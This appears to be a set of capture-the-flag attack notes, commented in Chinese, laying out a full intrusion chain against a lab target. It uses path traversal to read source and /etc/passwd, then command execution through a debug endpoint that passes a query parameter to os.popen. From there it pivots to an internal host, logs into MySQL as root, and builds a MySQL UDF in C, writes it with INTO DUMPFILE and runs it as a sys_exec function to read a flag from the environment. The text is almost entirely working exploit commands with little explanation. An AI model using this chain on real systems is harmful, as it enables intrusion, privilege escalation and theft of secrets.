正常访问：
http://target/download?file=产品介绍.txt

漏洞利用（路径穿越）：
http://target/download?file=../app.py
http://target/download?file=../../etc/passwd

/download?file=../app.py          # 读取主应用代码

@app.route("/api/system/debug")
def debug():
    cmd = request.args.get("cmd")
    if cmd:
        return os.popen(cmd).read()

http://target/api/system/debug?cmd=id
http://target/api/system/debug?cmd=ifconfig
http://target/api/system/debug?cmd=cat /etc/hosts

http://target/api/system/debug?cmd=ping -c 1 inner-app
http://target/api/system/debug?cmd=curl http://inner-app:8080

通过DMZ的RCE作为跳板：
curl http://inner-app:8080/admin

http://inner-app:8080/api/system/exec?cmd=whoami

mysql -h inner-db -u root -proot@123

USE appdb;
SELECT * FROM system_config;

// udf.c
#include <string.h>
#include <stdlib.h>

void sys_exec_init() {}
void sys_exec_deinit() {}

long long sys_exec(char *cmd) {
    system(cmd);
    return 0;
}

gcc -shared -fPIC -o udf.so udf.c

-- 将编译好的udf.so内容转为十六进制
-- 然后写入到 /usr/lib/mysql/plugin/udf.so
SELECT BINARY 0x... INTO DUMPFILE '/usr/lib/mysql/plugin/udf.so';

-- 或者直接在服务器上编译并复制

CREATE FUNCTION sys_exec RETURNS INTEGER SONAME 'udf.so';

-- MySQL容器的环境变量在 /proc/1/environ
SELECT sys_exec('cat /proc/1/environ | grep SNOW_FLAG > /tmp/flag.txt');

-- 或者通过其他方式回显
SELECT sys_exec('env | grep SNOW_FLAG');